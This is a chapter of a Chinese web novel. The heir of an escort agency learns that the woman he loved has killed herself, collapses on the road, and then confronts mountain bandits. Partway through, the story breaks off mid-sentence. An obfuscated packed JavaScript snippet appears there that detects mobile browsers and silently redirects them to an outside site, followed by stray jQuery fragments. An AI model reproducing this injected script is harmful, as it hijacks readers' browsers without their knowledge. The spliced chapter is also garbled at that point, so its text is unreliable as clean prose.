14. 第 14 章
作品:《契约神》 阳光逐渐变得热烈,雪水融化流进土里,唤醒沉睡的种子。干枯的树枝冒出点点新绿,在寒冷与温暖交织的春风中轻盈摇曳,焕发勃勃生机。
江氏镖局院中停着几辆镖车,镖车里装载了沉甸甸的银两,江远倾站在院内检查接收镖物的清单。
“公子,您真的要和我们一起走镖么?”一旁的马镖头走上前问道。
“我已经决定好了,江氏镖局是父亲呕心沥血建立的,作为江氏一脉,有将江氏镖局发扬光大的职责。并且我也想出去历练一番,走一遍父亲走过的路。”
“有公子在,我们江氏镖局一定能重振雄风!”马镖头信心满满道。
“公子!”江全从门外走了过来,“公子!这是通行证。”
“好。”江远倾接过通行证,环顾四周收拾行李的兄弟,“一切都准备得差不多了,等大家收拾好,就可以拜镖旗了。”
江远倾扫视着院内的兄弟,突然眉毛微蹙,眼神中闪烁着疑惑的光芒:“马镖头,怎么不见钱家兄弟?”
“哦,钱家老三出入赌坊,一日夜里不知撞见了什么,吓得精神错乱,得了癔症。钱家老大带着他四处寻医也不见好,只得在家里照料,脱不开身。”
“什么时候的事?”
“几个月前的秋天,我记得那时还没有下雪。”
“我们镖局里不是严禁出入赌坊么?”
“是的,钱老大平日里也是这样管教钱三,可钱三不听,私下里仍去赌。若不是赌钱,就不会撞见不干不净的东西,好好的人说疯就疯了。”
“不干不净的东西,难道是撞见鬼了?”江全在一旁好奇道。
“这我可说不准,反正赌坊不是什么好东西。看来日后还需跟兄弟们提提醒,立立规矩,要不然和钱三一样得了癔症,一辈子就毁了。”
“嗯,既然是镖局里立下的规矩,那就要严格遵守。”
话罢,江远倾看了眼时辰,对院内的兄弟道:“各位哥哥,已经收拾得差不多了,该是出发的时候了。”
几个镖师带着院里的其它兄弟整齐地站在江远倾身后,由江远倾领头,携众人朝着江氏镖旗郑重地拜了三拜。
拜完镖旗,江远倾面朝众人恭恭敬敬地躬身行礼。
“诸位哥哥都是家父生前患难与共的好兄弟,如今家父不幸死于贼寇之手,江氏镖局也不再如从前。但诸位哥哥仍对江氏镖局不离不弃,远倾在此替家父衷心谢过。日后我江远倾定会竭尽全力,将江氏镖局发扬光大。”
“好!不愧是总镖头的血脉,我们信你!”一位镖师气势豪迈地喊道,其它兄弟也接连响应。
“远倾资历尚浅,还请各位哥哥往后不吝赐教,多多包涵,多谢了。”江远倾抱拳行礼。
“哪里的话,公子有这份心意,也属难得。日后兄弟们定齐心协力,助公子一臂之力。”
“多谢,多谢。”江远倾连连拱手道谢,抬眸时却瞥见了门口站着一位衣着素朴的女子。
“那请各位再去做最后的准备,不多时我们便出发。”
江远倾解散众人,见那女子仍驻足在门口,似乎有话要对自己说。他穿过人群走上前,这才辨认出站在门口的是巧烟。
巧烟的穿着不同以往,十分的素净,面容也憔悴苍白了许多,江远倾竟一时没有辨认出来。
“巧烟?你怎么来了?”
“我去江宅寻公子没有寻到,想着来镖局瞧瞧。”
“你找我有什么事么?”
“公子这是要出远门么?”
“是的,我要出门走镖。”江远倾看着巧烟的神情有些奇怪,有气无力的,眼神中充满了哀怨,再往她身后一瞧,还背了个包袱。
“巧烟姑娘,你背着包袱,是要去往何处?”
“我要回乡下照顾母亲。”巧烟说话的声音十分微弱,气若游丝。
“发生什么事了?你与你家小姐感情甚好,你走了你家小姐怎么办?”
巧烟听了这话顿时瞪大眼睛,她的脸上写满了不可置信,眼神直直地盯着江远倾。
这时,江全不知从哪里冒了出来,他径直拉住江远倾的手臂往镖局里走:“公子,马镖头有事找你。”
江远倾还未听得巧烟回话,便被江全拽走。
“江全,你拉着我做什么?我正和巧烟说话。”江远倾一边撤回手臂,一边回头看巧烟。
这一回头不打紧,却让江远倾顿时脊背发凉,心中惶惶不安。
只见巧烟的表情瞬间变得奇怪扭曲,站在原地张大了嘴巴诡异地放声大笑起来。
江远倾立即有了不详的预感,他用力地甩开江全,快走几步来到巧烟面前。
“巧烟姑娘,你笑什么?”
巧烟盯住江远倾,脸上的笑意逐渐收敛,转变成了恨意,一双怒目审视着他。
“我家小姐已经亡故,公子让巧烟留下服侍谁?”
“什么……”江远倾愣在原地,面容凝滞,半天说不上话来。
“公子到现在才知晓么?江全都不曾告诉你么?江宅的所有人都不曾告诉你么?”
江远倾立即回头抓住江全的胳膊,声音颤抖道:“她说的是真的么?”
江全的表情皱成了一团:“公子,小的只是不想让您伤心……赵兰姑娘……的确已经亡故了,请您节哀……”
江远倾松开江全的胳膊,朝巧烟道:“她是怎么死的?”
“她是被逼死的,被你和老爷逼死的!”巧烟一边说着一边泪流不止,“小姐死前和老爷大吵了一架,她趁我们不在的时候不知用了什么法子骗走守卫的佩刀,自刎而死……”
巧烟的哭声凄厉,引得镖局里的兄弟围了上来。院里一片静默,只留得巧烟的哭嚎声。
江远倾顿时觉得天旋地转,他缓缓转身,镖局里的兄弟们纷纷用关切的目光注视着他。
“公子……”马镖头小心翼翼地朝江远倾道,“您还要和我们走镖么?要不您留下罢。”
江远倾深吸一口气,心口隐隐作痛。他抬头望了眼天空,此时日光和煦,万里无云,湛蓝的空中一群鸟儿振翅高飞,和往常一样平静祥和。
“不,我和你们走。”他的嗓音有些嘶哑,却十分坚定。
“江全,你将巧烟姑娘好生送走。”
“是。”
江全走到巧烟身边,巧烟止住了哭声,走前不忘回头对江远倾说道:“江公子,这是巧烟替小姐最后一次看你。”说罢,巧烟兀自离去,江全欲跟上巧烟,却被江远倾叫住。
“公子还有何吩咐?”
“我此次出门,你替我在家中好好照料母亲,好好打理江宅,等我回来。”
“好,公子放心,公子路上也需多加小心。”
“嗯。”
说罢,江全快走几步去追巧烟。
江远倾平心静气,整理面容,转身朝着望向自己的镖局兄弟道:“启程。”
于是,众人推车的推车,背行李的背行李,井然有序地往外走。马镖头牵来两匹马,将其中一匹马的缰绳递给江远倾。
“公子,您真的决定好了么?”
“我已当着众兄弟的面许下承诺,怎有反悔的道理?”说罢,他一跃上马,朝着已经行进的队伍前头行去。
马镖头暗暗叹了口气,也骑上马追了过去。
镖局队伍按照路线出了风灵城,朝东行去。一路上风和日丽,春水淙淙。路两旁的枯草已经发了新芽,鸟儿停在柳枝上发出婉转的叫声,一副冰雪消融、生机勃勃的景象。
“春天终于来了,今年的冬天实在难熬。”话说出口,马镖头的心中顿时有些后悔。他悄悄瞥了眼江远倾,见他仍是副平静的面容,便松了口气。
“熬过去的才是春天,熬不过去的,都叫冰雪化进了土里,待到明年此时,谁还能记起?”江远倾坐在马上喃喃自语道,一双眼睛十分木然,任路旁的风景从眼角掠过。或是脚下轻盈明艳的野花,或是近旁溶溶漾漾的溪水,或是远处一闪而过、身姿灵动的兔子。
马匹朝前走着,他的身子似乎还留在原地。脑海里反复闪现着巧烟痛苦扭曲的面容和带着哭腔的诉说,他试图从巧烟的话里想象赵兰最后的模样,却想象不出,只一味地浮现出她射箭时明媚的笑容。
她笑得越灿烂,他的心口越是疼痛难忍。一阵血腥味从鼻腔涌出,江远倾只觉得胸中痛痒至极,不禁咳嗽了起来。
“公子,您还好么?”一旁的马镖头见他咳嗽不止,心中有些担忧。
江远倾咳得说不出话,脸涨得通红,突然他停顿了一下,猝然呕出一口鲜血。
鲜血吐出后,江远倾的身子忽地一软,从马背上摔了下去。
“公子!”马镖头慌了神,连忙朝后面的队伍招手,“停下,快停下!”
队伍停下脚步,不再上前。马镖头急
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611561|156119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忙下马扶起江远倾,近旁的兄弟也跑过来,打开水壶给江远倾喂水。
“公子,您这是怎么了?”马镖头用衣裳擦去江远倾嘴角的鲜血。
江远倾喝了几口水后恢复了神志:“只是气急攻心,不碍事,不碍事。”
“公子,我派个兄弟送你回去罢?”
“我去镖车上歇息就好,正好白日休息,晚上由我守夜。”
“公子……”马镖头欲言又止。
“既然走镖,就要走到底。我能走下去,马镖头,你相信我。”
“好,我相信你。公子,您先去车上歇息罢,前头有我护着。”
说罢,周围的弟兄把江远倾扶到镖车上坐着,队伍继续行进。
江远倾闭上眼睛努力平稳气息,听着车轮滚动时发出的有规律的摩擦声,呼吸逐渐平稳。
他趴在装满金银的箱子上浅眠了一阵,不知睡了多久,突然从梦中惊醒。他环顾四周,周围的景致已大有不同,前不着村后不着店,十分荒凉。
江远倾遥望前方,一座山丘被密林覆盖,脚下的路正要经过那山丘。
“前面那个山丘是什么地方?”江远倾连忙问推车的兄弟。
“公子放心,那是上山虎高奂的地盘。高奂与我们家老爷有私交,老爷逢年过节都会派人打点,让他们平日里与我们行个方便。他们看到我们的镖旗,不会出来的。”
“那就好。”
快接近山丘时,马镖头在前头高声道:“合吾!”紧接着队伍里的弟兄也齐声道:“合吾!”
江远倾从镖车上抽出一把刀,警惕地观察着密林里的动静。忽然,前头冒出一伙人,一个身强力壮的男子站在最前面。他穿着兽皮制成的衣裳,头发散乱,皮肤黝黑,手里拿着斧头。
马镖头做了个停下的手势。
“这人就是高奂么?”江远倾问旁边的兄弟。
“这……这不是高奂。”那兄弟支支吾吾道。
手持斧头的男子不顾马镖头的神色,大摇大摆地站在石头上,前后打量了几下镖车上的箱子,大声道:“嚯!一块好肉!”
“好肉有刺在虎口里。”马镖头不动声色地回道。
那男子用鄙薄的眼神瞟了眼马镖头:“好绵羊。”
马镖头转动手中的长枪,回道:“羝角硬。”
持斧男子喉中冷笑一声:“留下一半银两,兄弟就让你们过去。”
“高奂呢?我家老爷平日里可没少送礼。”
“你若是想见他的人头,我就叫人去山里树上取来给你。”
“你杀了高奂!?”
“江风山已经死了,人尽皆知。高奂那狗东西靠着江风山这条大腿嚣张了不少日子,我杀了便杀了,还要告知你么?”
马镖头忍住怒气:“一半银两也忒多了,你叫我们这些兄弟怎么过活?”
“昨日有个兄弟从此过,痛痛快快地交了一半的东西,怎么你就交不出?”那男子轻轻挥舞斧头,将它抵在肩上,“再说了,现在这世道可不好过,你知道为了占这片山,我们兄弟受了多少罪么?让你们过已经是给情面了。”
“对了。”那男子突然想起了什么,“既然插着江家的镖旗,怎么不见江家人?怕不是死了爹就不敢出来与我说话了罢?”说完,男子身后传来一阵笑声。
“你也配!”马镖头还想说什么,却听得身后传来一声呼喊。
“是谁要见我?”江远倾负手将刀持于身后,一脸从容地走过来。
“公子!”马镖头连忙叫住江远倾,江远倾却使了个眼色制止他。
“在下江风山之子,江远倾,敢问阁下高姓大名?”
“我既杀了上山虎,你就唤我杀山虎罢。”
“好,杀山虎兄弟。远倾知晓世道艰难,可你要的银两实在太多,昨日那位兄弟给了你一半,那是他没有本事。我江氏镖局虽不如从前,却也不是好惹的。重振雄风在此一举,我手下的兄弟可都是憋住了劲儿要为自己正名。这趟镖若是走不成,他们都得回去喝西北风,待会要是和杀山虎兄弟的手下交起手来,远倾可不能保证他们不会下死手。到时您若是折了兄弟,这座山您就更保不成了。”
“哪儿来的书呆子!”杀山虎气急败坏道,“你说别人没有本事,你有本事?”
“有没有本事,试试不就知道了?”说罢,江远倾抽出身后的刀,眼中泛着凌厉的肃杀之气。